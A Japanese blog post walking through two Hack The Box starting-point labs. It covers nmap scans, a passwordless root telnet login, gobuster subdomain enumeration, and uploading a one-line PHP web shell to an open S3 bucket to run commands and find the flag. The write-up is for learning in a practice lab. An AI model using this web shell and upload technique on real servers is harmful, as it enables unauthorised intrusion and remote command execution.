フューチャー Advent Calendar 2022 の23日目です。明日は@hayao0727さんのOCaml 5のEffect Handlerを調べてみた記事です。
はじめに
今回の記事では、最近個人的にハマっている 「Hack The Box」のstarting-pointを解いてみた感想を書きたいと思います。
Hack The Boxとは
Hack The Boxとは、サイバーセキュリティスキルの向上トレーニングができるオンラインプラットフォームです。
仮想の環境が用意されており、脆弱性をついてflagの取得を目的としています。
starting-pointとは
starting-pointとは、Hack The Boxを行う上での基礎的なことを学ぶことができる、チュートリアルです。
starting-pointには、tier0、tier1、tier2の3つあり、今回は tier0、tier1 からそれぞれ一問解いた手順と感想を書きたいと思います。
各問題にTASKが複数あり、最後にflagを取るための誘導になっています。
Meow
ペネトレーションの基本的な使い方や一部telenetの知識が問われます。
TASK1〜TASK6
TASK1〜TASK6については知識を問う問題のため省略します。
TASK7
解法
この問題はポート23/tcpで利用されているサービスは何かを問われています。
攻撃対象のポートスキャンを行うために、nmapを使用します。
$ sudo nmap -p 23 -sV <IP address>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 07:54 EST
Nmap scan report for <IP address>
Host is up (0.00052s latency).
PORT STATE SERVICE VERSION
23/tcp filtered telnet
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
ポート23は、Well known portのため、検索をしてを答えを得ることができますが、nmapコマンドでport23を指定してポートスキャンを行うと、ポート23のサービス名はtelenet
であることがわかります。
TASK8
解法
空のパスワードを使用して、telnet経由でログインできるユーザ名を問われています。
こちらは調べればわかる問題です。回答はroot
です。
Submit root flag
解法
Meow最後の問題で、flagを取得する問題です。
TASK8、TASK9をヒントにtelnet経由でログインします。
$ telnet <IP address >
Trying <IP address >...
Connected to <IP address >.
Escape character is '^]'.
█ █ ▐▌ ▄█▄ █ ▄▄▄▄
█▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
█ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
login名を聞かれるのでrootを入力します。
Meow login: root
...
(略)
...
Last login: Mon Sep 6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
telnet経由でログインすることに成功しました。
あとはフラグを探すだけです。lsコマンドで一覧を見ます。
$ root@Meow:~# ls
flag.txt snap
flag.txtが~/
配下にあるので、あとは中身をコピーし提出すれば終了です。
Meowの感想
nmapコマンドを使用したペネトレーションの方法を学ぶことができました。
また、今回でてきたtelentについては、ネットワーク経由で他のサーバに接続し、遠隔操作する仕組みですが、通信経路が暗号化されていません。
SSHは、通信経路が暗号化されているため、基本的にはSSHのアクセスが推奨されています。
Three
こちらの問題もHack The Boxの基本的な使い方や一部Amazon S3の知識が問われています。
TASK1
解法
TCPの空いているポートの数が聞かれています。
nmapコマンドを使用して空いているポートを探します。
$ nmap -sV <IP address > -p- 1-10000 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
上記から、空いているポートは二つとわかります。
よって、回答は2
です。
TASK2〜TASK3
TASK2〜TASK3については知識を問われているだけの問題のため省略します。
TASK4
解法
サブドメインは何があるかを問われています。
gobusterコマンドで総当たりで検索をしていきます。
サブドメインを検索するにあたり、/etc/hosts
にthetoppers.htbを追加します。
$ echo "<IP address > thetoppers.htb" | sudo tee -a /etc/hosts
$ gobuster vhost -u http://thetoppers.htb -w <サブドメインのワードリストのパス>
上記のコマンドを実行すると
回答になりそうなサブドメインは見つかりませんでした。
gobusterのvhostモードだとvirtual hostを探すためサブドメインがみつからない可能性があると考え、gobusterのdnsモードで下記のコマンドを実行しました。
$ gobuster dns -d thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
s3.thetoppers.htb
が見つかりました。
よって、問題の回答としてはs3.thetoppers.htb
また、下記のように/etc/hosts
に追加しておきます。
$ echo "<IP address > s3.thetoppers.htb" | sudo tee -a /etc/hosts
TASK5~TASK8
TASK5~TASK8については知識を問われているだけの問題のため省略します。
TASK9
解法
TASK5~TASK8に回答していくと、Amazon S3が動いているのが分かります。
S3上のバケット一覧を検索したいと考え、下記のコマンドを実行します。
$ aws --endpoint=http://s3.thetoppers.htb s3 ls
thetoppers.htb
というバケットが見つかったため、アップロードされているファイルがなにかを探したいと考え、下記のコマンドを実行します。
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
.htaccess
と index.php
のファイルを見つけることができました。
この問いは、S3上にあるWebスクリプト言語で書かれたファイルはなにかを問われているので、回答としは、php
になります。
Submit root flag
解法
最後にflagを探します。
S3内でlsコマンドを叩きたいと考え、下記のようにコマンドを受け付けるphpファイルを作成します。
<?php system($_GET['cmd']); ?>
作成したphpファイル(flag.php)をuplaodします。
aws s3 --endpoint=http://s3.thetoppers.htb cp flag.php s3://thetoppers.htb
ファイルをアップロードすることができました。
ブラウザ上で確認します。
ファイル一覧が表示されました。
あとはflag.txtが存在するかを確認します。
クエリパラメータにfind / -name flag.txt
を指定してブラウザで検索します。
/var/www/flag.txt
にflag.txt
があるのが分かりました。
あとは中身を提出して終了です。
Threeの感想
gobusterコマンドはペネトレーションを行う上でよく使うツールです。
サブドメインを探すときに、vhostモードではサブドメインが見つからず、少し苦戦しましたが、dnsモードを使って見つけることができました。
Threeを通して、awscliコマンドについて学ぶことができました。
自分はwebshellで解きましたが、公式の解説は、revese-shellを使って解いていました。
まとめ
Hack The Boxのstarting pointを2問解いてみました。
starting-pointであれば公式の解説もあります。
自分としは、知らない知識ばかりで非常に勉強になりました。
他にもたくさんの問題があるので、解いたら記事を書きたいと思います。
参考記事
https://note.homie.co.jp/n/n35a6bba8a8a5
https://cybersecbits.com/gobuster-finding-web-files-and-directories